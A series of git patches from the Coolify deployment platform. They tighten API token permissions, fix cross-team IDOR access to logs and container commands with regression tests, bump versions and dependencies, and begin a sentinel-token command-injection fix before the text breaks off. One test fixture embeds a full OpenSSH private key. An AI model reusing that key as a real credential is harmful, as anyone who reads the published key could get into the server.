diff --git a/routes/web.php b/routes/web.php index b6c6c95ce..26863aa17 100644 --- a/routes/web.php +++ b/routes/web.php @@ -168,9 +168,23 @@ Route::post('/terminal/auth/ips', function () { if (auth()->check()) { $team = auth()->user()->currentTeam(); - $ipAddresses = $team->servers->where('settings.is_terminal_enabled', true)->pluck('ip')->toArray(); + $ipAddresses = $team->servers + ->where('settings.is_terminal_enabled', true) + ->pluck('ip') + ->filter() + ->values(); - return response()->json(['ipAddresses' => $ipAddresses], 200); + if (isDev()) { + $ipAddresses = $ipAddresses->merge([ + 'coolify-testing-host', + 'host.docker.internal', + 'localhost', + '127.0.0.1', + base_ip(), + ])->filter()->unique()->values(); + } + + return response()->json(['ipAddresses' => $ipAddresses->all()], 200); } return response()->json(['ipAddresses' => []], 401); diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.php new file mode 100644 index 000000000..e8fa5ff76 --- /dev/null +++ b/tests/Feature/RealtimeTerminalPackagingTest.php @@ -0,0 +1,34 @@ +toContain('COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js'); +}); + +it('mounts the realtime terminal utilities in local development compose files', function (string $composeFile) { + $composeContents = file_get_contents(base_path($composeFile)); + + expect($composeContents)->toContain('./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js'); +})->with([ + 'default dev compose' => 'docker-compose.dev.yml', + 'maxio dev compose' => 'docker-compose-maxio.dev.yml', +]); + +it('keeps terminal browser logging restricted to Vite development mode', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain('const terminalDebugEnabled = import.meta.env.DEV;') + ->toContain("logTerminal('log', '[Terminal] WebSocket connection established.');") + ->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');"); +}); + +it('keeps realtime terminal server logging restricted to development environments', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain("const terminalDebugEnabled = ['local', 'development'].includes(") + ->toContain('if (!terminalDebugEnabled) {') + ->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');"); +}); diff --git a/tests/Feature/TerminalAuthIpsRouteTest.php b/tests/Feature/TerminalAuthIpsRouteTest.php new file mode 100644 index 000000000..d4e51ad6c --- /dev/null +++ b/tests/Feature/TerminalAuthIpsRouteTest.php @@ -0,0 +1,51 @@ +set('app.env', 'local'); + + $this->user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY-----', + 'team_id' => $this->team->id, + ]); +}); + +it('includes development terminal host aliases for authenticated users', function () { + Server::factory()->create([ + 'name' => 'Localhost', + 'ip' => 'coolify-testing-host', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $response = $this->postJson('/terminal/auth/ips'); + + $response->assertSuccessful(); + $response->assertJsonPath('ipAddresses.0', 'coolify-testing-host'); + + expect($response->json('ipAddresses')) + ->toContain('coolify-testing-host') + ->toContain('localhost') + ->toContain('127.0.0.1') + ->toContain('host.docker.internal'); +}); From 1d3dfe4dc86cc0701341515d3f1cb7fbcdb12f9b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 20:40:49 +0100 Subject: [PATCH 162/305] chore(version): bump coolify, realtime, and sentinel versions --- config/constants.php | 4 ++-- versions.json | 10 +++++----- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/config/constants.php b/config/constants.php index be41c4618..85322a928 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,9 +2,9 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.464', + 'version' => '4.0.0-beta.465', 'helper_version' => '1.0.12', - 'realtime_version' => '1.0.10', + 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), 'autoupdate' => env('AUTOUPDATE'), 'base_config_path' => env('BASE_CONFIG_PATH', '/data/coolify'), diff --git a/versions.json b/versions.json index 7409fbc42..77c228847 100644 --- a/versions.json +++ b/versions.json @@ -1,19 +1,19 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.464" + "version": "4.0.0-beta.465" }, "nightly": { - "version": "4.0.0-beta.465" + "version": "4.0.0-beta.466" }, "helper": { "version": "1.0.12" }, "realtime": { - "version": "1.0.10" + "version": "1.0.11" }, "sentinel": { - "version": "0.0.18" + "version": "0.0.19" } }, "traefik": { @@ -26,4 +26,4 @@ "v3.0": "3.0.4", "v2.11": "2.11.32" } -} \ No newline at end of file +} From b71d1561f3ca6df89dbb20ce991f7092d1900fe9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 21:07:14 +0100 Subject: [PATCH 163/305] chore(realtime): upgrade npm dependencies MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Update dependencies in coolify-realtime package: - @xterm/addon-fit 0.10.0 → 0.11.0 - @xterm/xterm 5.5.0 → 6.0.0 - axios 1.12.0 → 1.13.6 - cookie 1.0.2 → 1.1.1 - dotenv 16.5.0 → 17.3.1 - node-pty 1.0.0 → 1.1.0 (now uses node-addon-api instead of nan) - ws 8.18.1 → 8.19.0 --- docker/coolify-realtime/package-lock.json | 96 ++++++++++++----------- docker/coolify-realtime/package.json | 14 ++-- 2 files changed, 57 insertions(+), 53 deletions(-) diff --git a/docker/coolify-realtime/package-lock.json b/docker/coolify-realtime/package-lock.json index c445c972c..1c49ff930 100644 --- a/docker/coolify-realtime/package-lock.json +++ b/docker/coolify-realtime/package-lock.json @@ -5,29 +5,29 @@ "packages": { "": { "dependencies": { - "@xterm/addon-fit": "0.10.0", - "@xterm/xterm": "5.5.0", - "axios": "1.12.0", - "cookie": "1.0.2", - "dotenv": "16.5.0", - "node-pty": "1.0.0", - "ws": "8.18.1" + "@xterm/addon-fit": "0.11.0", + "@xterm/xterm": "6.0.0", + "axios": "1.13.6", + "cookie": "1.1.1", + "dotenv": "17.3.1", + "node-pty": "1.1.0", + "ws": "8.19.0" } }, "node_modules/@xterm/addon-fit": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.10.0.tgz", - "integrity": "sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==", - "license": "MIT", - "peerDependencies": { - "@xterm/xterm": "^5.0.0" - } + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.11.0.tgz", + "integrity": "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g==", + "license": "MIT" }, "node_modules/@xterm/xterm": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz", - "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==", - "license": "MIT" + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-6.0.0.tgz", + "integrity": "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg==", + "license": "MIT", + "workspaces": [ + "addons/*" + ] }, "node_modules/asynckit": { "version": "0.4.0", @@ -36,13 +36,13 @@ "license": "MIT" }, "node_modules/axios": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.12.0.tgz", - "integrity": "sha512-oXTDccv8PcfjZmPGlWsPSwtOJCZ/b6W5jAMCNcfwJbCzDckwG0jrYJFaWH1yvivfCXjVzV/SPDEhMB3Q+DSurg==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.6.tgz", + "integrity": "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ==", "license": "MIT", "dependencies": { - "follow-redirects": "^1.15.6", - "form-data": "^4.0.4", + "follow-redirects": "^1.15.11", + "form-data": "^4.0.5", "proxy-from-env": "^1.1.0" } }, @@ -72,12 +72,16 @@ } }, "node_modules/cookie": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz", - "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", + "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", "license": "MIT", "engines": { "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" } }, "node_modules/delayed-stream": { @@ -90,9 +94,9 @@ } }, "node_modules/dotenv": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.5.0.tgz", - "integrity": "sha512-m/C+AwOAr9/W1UOIZUo232ejMNnJAJtYQjUbHoNTBNTJSvqzzDh7vnrei3o3r3m9blf6ZoDkvcw0VmozNRFJxg==", + "version": "17.3.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.3.1.tgz", + "integrity": "sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA==", "license": "BSD-2-Clause", "engines": { "node": ">=12" @@ -161,9 +165,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.9", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", - "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", "funding": [ { "type": "individual", @@ -181,9 +185,9 @@ } }, "node_modules/form-data": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", - "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", "license": "MIT", "dependencies": { "asynckit": "^0.4.0", @@ -323,20 +327,20 @@ "node": ">= 0.6" } }, - "node_modules/nan": { - "version": "2.23.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", - "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", "license": "MIT" }, "node_modules/node-pty": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz", - "integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz", + "integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==", "hasInstallScript": true, "license": "MIT", "dependencies": { - "nan": "^2.17.0" + "node-addon-api": "^7.1.0" } }, "node_modules/proxy-from-env": { @@ -346,9 +350,9 @@ "license": "MIT" }, "node_modules/ws": { - "version": "8.18.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.1.tgz", - "integrity": "sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==", + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", + "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", "license": "MIT", "engines": { "node": ">=10.0.0" diff --git a/docker/coolify-realtime/package.json b/docker/coolify-realtime/package.json index aec3dbe3d..ebb7122c8 100644 --- a/docker/coolify-realtime/package.json +++ b/docker/coolify-realtime/package.json @@ -2,12 +2,12 @@ "private": true, "type": "module", "dependencies": { - "@xterm/addon-fit": "0.10.0", - "@xterm/xterm": "5.5.0", - "cookie": "1.0.2", - "axios": "1.12.0", - "dotenv": "16.5.0", - "node-pty": "1.0.0", - "ws": "8.18.1" + "@xterm/addon-fit": "0.11.0", + "@xterm/xterm": "6.0.0", + "cookie": "1.1.1", + "axios": "1.13.6", + "dotenv": "17.3.1", + "node-pty": "1.1.0", + "ws": "8.19.0" } } \ No newline at end of file From 473371e7edf5548b9b5aedb37ac4a438b22a2827 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 21:14:30 +0100 Subject: [PATCH 164/305] chore(realtime): upgrade coolify-realtime to 1.0.11 --- docker-compose.prod.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index d42047245..0bd4ae2dd 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -60,7 +60,7 @@ services: retries: 10 timeout: 2s soketi: - image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.10' + image: '${REGISTRY_URL:-ghcr.io}/coollabsio/coolify-realtime:1.0.11' ports: - "${SOKETI_PORT:-6001}:6001" - "6002:6002" From 458f048c4e8a8e781c5128831d62debb0560947c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 21:46:26 +0100 Subject: [PATCH 165/305] fix(push-server): track last_online_at and reset database restart state - Update last_online_at timestamp when resource status is confirmed active - Reset restart_count, last_restart_at, and last_restart_type when marking database as exited - Remove unused updateServiceSubStatus() method --- app/Jobs/PushServerUpdateJob.php | 43 ++++++++++++-------------------- 1 file changed, 16 insertions(+), 27 deletions(-) diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 5e598cecd..b1a12ae2a 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -307,6 +307,8 @@ private function aggregateMultiContainerStatuses() if ($aggregatedStatus && $application->status !== $aggregatedStatus) { $application->status = $aggregatedStatus; $application->save(); + } elseif ($aggregatedStatus) { + $application->update(['last_online_at' => now()]); } continue; @@ -321,6 +323,8 @@ private function aggregateMultiContainerStatuses() if ($aggregatedStatus && $application->status !== $aggregatedStatus) { $application->status = $aggregatedStatus; $application->save(); + } elseif ($aggregatedStatus) { + $application->update(['last_online_at' => now()]); } } } @@ -371,6 +375,8 @@ private function aggregateServiceContainerStatuses() if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) { $subResource->status = $aggregatedStatus; $subResource->save(); + } elseif ($aggregatedStatus) { + $subResource->update(['last_online_at' => now()]); } continue; @@ -386,6 +392,8 @@ private function aggregateServiceContainerStatuses() if ($aggregatedStatus && $subResource->status !== $aggregatedStatus) { $subResource->status = $aggregatedStatus; $subResource->save(); + } elseif ($aggregatedStatus) { + $subResource->update(['last_online_at' => now()]); } } } @@ -415,6 +423,8 @@ private function updateApplicationPreviewStatus(string $applicationId, string $p if ($application->status !== $containerStatus) { $application->status = $containerStatus; $application->save(); + } else { + $application->update(['last_online_at' => now()]); } } @@ -549,8 +559,12 @@ private function updateNotFoundDatabaseStatus() $database = $this->databases->where('uuid', $databaseUuid)->first(); if ($database) { if (! str($database->status)->startsWith('exited')) { - $database->status = 'exited'; - $database->save(); + $database->update([ + 'status' => 'exited', + 'restart_count' => 0, + 'last_restart_at' => null, + 'last_restart_type' => null, + ]); } if ($database->is_public) { StopDatabaseProxy::dispatch($database); @@ -559,31 +573,6 @@ private function updateNotFoundDatabaseStatus() }); } - private function updateServiceSubStatus(string $serviceId, string $subType, string $subId, string $containerStatus) - { - $service = $this->services->where('id', $serviceId)->first(); - if (! $service) { - return; - } - if ($subType === 'application') { - $application = $service->applications->where('id', $subId)->first(); - if ($application) { - if ($application->status !== $containerStatus) { - $application->status = $containerStatus; - $application->save(); - } - } - } elseif ($subType === 'database') { - $database = $service->databases->where('id', $subId)->first(); - if ($database) { - if ($database->status !== $containerStatus) { - $database->status = $containerStatus; - $database->save(); - } - } - } - } - private function updateNotFoundServiceStatus() { $notFoundServiceApplicationIds = $this->allServiceApplicationIds->diff($this->foundServiceApplicationIds); From c15bcd56347fc8c535755791e92e4f6c2af17e3a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 22:00:26 +0100 Subject: [PATCH 166/305] fix(api): require write permission for validation endpoints Validation operations should require write permissions as they trigger state-changing actions. Updated middleware for: - POST /api/v1/cloud-tokens/{uuid}/validate - GET /api/v1/servers/{uuid}/validate Added tests to verify read-only tokens cannot access these endpoints. --- routes/api.php | 4 ++-- tests/Feature/ApiTokenPermissionTest.php | 25 ++++++++++++++++++++++++ 2 files changed, 27 insertions(+), 2 deletions(-) diff --git a/routes/api.php b/routes/api.php index ffa4b29b9..8b28177f3 100644 --- a/routes/api.php +++ b/routes/api.php @@ -71,7 +71,7 @@ Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']); Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']); - Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:read']); + Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/deploy', [DeployController::class, 'deploy'])->middleware(['api.ability:deploy']); Route::get('/deployments', [DeployController::class, 'deployments'])->middleware(['api.ability:read']); @@ -84,7 +84,7 @@ Route::get('/servers/{uuid}/domains', [ServersController::class, 'domains_by_server'])->middleware(['api.ability:read']); Route::get('/servers/{uuid}/resources', [ServersController::class, 'resources_by_server'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']); + Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:write']); Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']); diff --git a/tests/Feature/ApiTokenPermissionTest.php b/tests/Feature/ApiTokenPermissionTest.php index 44efb7e06..f1782de2a 100644 --- a/tests/Feature/ApiTokenPermissionTest.php +++ b/tests/Feature/ApiTokenPermissionTest.php @@ -73,3 +73,28 @@ $response->assertStatus(403); }); }); + +describe('GET /api/v1/servers/{uuid}/validate', function () { + test('read-only token cannot trigger server validation', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/servers/fake-uuid/validate'); + + $response->assertStatus(403); + }); +}); + +describe('POST /api/v1/cloud-tokens/{uuid}/validate', function () { + test('read-only token cannot validate cloud provider token', function () { + $token = $this->user->createToken('read-only', ['read']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/cloud-tokens/fake-uuid/validate'); + + $response->assertStatus(403); + }); +}); From 6fbb5e626a82c576ae7a1a08b4e1d16aee2e82ed Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 22:11:52 +0100 Subject: [PATCH 167/305] Squashed commit from '565g-9j4m-wqmr-cross-team-idor-logs-fix' --- app/Livewire/Project/Shared/Danger.php | 6 +- .../Shared/ExecuteContainerCommand.php | 6 +- app/Livewire/Project/Shared/Logs.php | 4 +- tests/Feature/CrossTeamIdorLogsTest.php | 97 +++++++++++++++++++ 4 files changed, 105 insertions(+), 8 deletions(-) create mode 100644 tests/Feature/CrossTeamIdorLogsTest.php diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index 1b15c6367..e9c18cc8d 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -45,10 +45,10 @@ public function mount() if ($this->resource === null) { if (isset($parameters['service_uuid'])) { - $this->resource = Service::where('uuid', $parameters['service_uuid'])->first(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $parameters['service_uuid'])->first(); } elseif (isset($parameters['stack_service_uuid'])) { - $this->resource = ServiceApplication::where('uuid', $parameters['stack_service_uuid'])->first() - ?? ServiceDatabase::where('uuid', $parameters['stack_service_uuid'])->first(); + $this->resource = ServiceApplication::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first() + ?? ServiceDatabase::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first(); } } diff --git a/app/Livewire/Project/Shared/ExecuteContainerCommand.php b/app/Livewire/Project/Shared/ExecuteContainerCommand.php index 02062e1f7..df12b1d9c 100644 --- a/app/Livewire/Project/Shared/ExecuteContainerCommand.php +++ b/app/Livewire/Project/Shared/ExecuteContainerCommand.php @@ -38,7 +38,7 @@ public function mount() $this->servers = collect(); if (data_get($this->parameters, 'application_uuid')) { $this->type = 'application'; - $this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail(); + $this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail(); if ($this->resource->destination->server->isFunctional()) { $this->servers = $this->servers->push($this->resource->destination->server); } @@ -61,14 +61,14 @@ public function mount() $this->loadContainers(); } elseif (data_get($this->parameters, 'service_uuid')) { $this->type = 'service'; - $this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail(); if ($this->resource->server->isFunctional()) { $this->servers = $this->servers->push($this->resource->server); } $this->loadContainers(); } elseif (data_get($this->parameters, 'server_uuid')) { $this->type = 'server'; - $this->resource = Server::where('uuid', $this->parameters['server_uuid'])->firstOrFail(); + $this->resource = Server::ownedByCurrentTeam()->where('uuid', $this->parameters['server_uuid'])->firstOrFail(); $this->servers = $this->servers->push($this->resource); } $this->servers = $this->servers->sortByDesc(fn ($server) => $server->isTerminalEnabled()); diff --git a/app/Livewire/Project/Shared/Logs.php b/app/Livewire/Project/Shared/Logs.php index 6c4aadd39..a95259c71 100644 --- a/app/Livewire/Project/Shared/Logs.php +++ b/app/Livewire/Project/Shared/Logs.php @@ -106,7 +106,7 @@ public function mount() $this->query = request()->query(); if (data_get($this->parameters, 'application_uuid')) { $this->type = 'application'; - $this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail(); + $this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail(); $this->status = $this->resource->status; if ($this->resource->destination->server->isFunctional()) { $server = $this->resource->destination->server; @@ -133,7 +133,7 @@ public function mount() $this->containers->push($this->container); } elseif (data_get($this->parameters, 'service_uuid')) { $this->type = 'service'; - $this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail(); $this->resource->applications()->get()->each(function ($application) { $this->containers->push(data_get($application, 'name').'-'.data_get($this->resource, 'uuid')); }); diff --git a/tests/Feature/CrossTeamIdorLogsTest.php b/tests/Feature/CrossTeamIdorLogsTest.php new file mode 100644 index 000000000..4d12e9340 --- /dev/null +++ b/tests/Feature/CrossTeamIdorLogsTest.php @@ -0,0 +1,97 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Victim: Team B + $this->teamB = Team::factory()->create(); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + $this->victimApplication = Application::factory()->create([ + 'environment_id' => $this->environmentB->id, + 'destination_id' => $this->destinationB->id, + 'destination_type' => $this->destinationB->getMorphClass(), + ]); + + $this->victimService = Service::factory()->create([ + 'environment_id' => $this->environmentB->id, + 'destination_id' => $this->destinationB->id, + 'destination_type' => StandaloneDocker::class, + ]); + + // Act as attacker + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('cannot access logs of application from another team', function () { + $response = $this->get(route('project.application.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'application_uuid' => $this->victimApplication->uuid, + ])); + + $response->assertStatus(404); +}); + +test('cannot access logs of service from another team', function () { + $response = $this->get(route('project.service.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'service_uuid' => $this->victimService->uuid, + ])); + + $response->assertStatus(404); +}); + +test('can access logs of own application', function () { + $ownApplication = Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => $this->destinationA->getMorphClass(), + ]); + + $response = $this->get(route('project.application.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'application_uuid' => $ownApplication->uuid, + ])); + + $response->assertStatus(200); +}); + +test('can access logs of own service', function () { + $ownService = Service::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => StandaloneDocker::class, + ]); + + $response = $this->get(route('project.service.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'service_uuid' => $ownService->uuid, + ])); + + $response->assertStatus(200); +}); From 096d4369e59b3db7ace2db3ca42588c41b9b6019 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 22:15:05 +0100 Subject: [PATCH 168/305] fix(sentinel): add token validation to prevent command injection Add validation to ensure sentinel tokens contain only safe characters (alphanumeric, dots, hyphens, underscores, plus, forward slash, equals), preventing OS command injection vulnerabilities when tokens are interpolated into shell commands. - Add ServerSetting::isValidSentinelToken() validation method - Validate tokens in StartSentinel action and metrics queries - Improve shell argument escaping with escapeshellarg() - Add comprehensive test coverage for token validation --- app/Actions/Server/StartSentinel.php | 6 +- app/Livewire/Server/Sentinel.php | 2 +- app/Models/ServerSetting.php | 9 ++ app/Traits/HasMetrics.php | 9 +- tests/Feature/SentinelTokenValidationTest.php | 95 +++++++++++++++++++ 5 files changed, 118 insertions(+), 3 deletions(-) create mode 100644 tests/Feature/SentinelTokenValidationTest.php diff --git 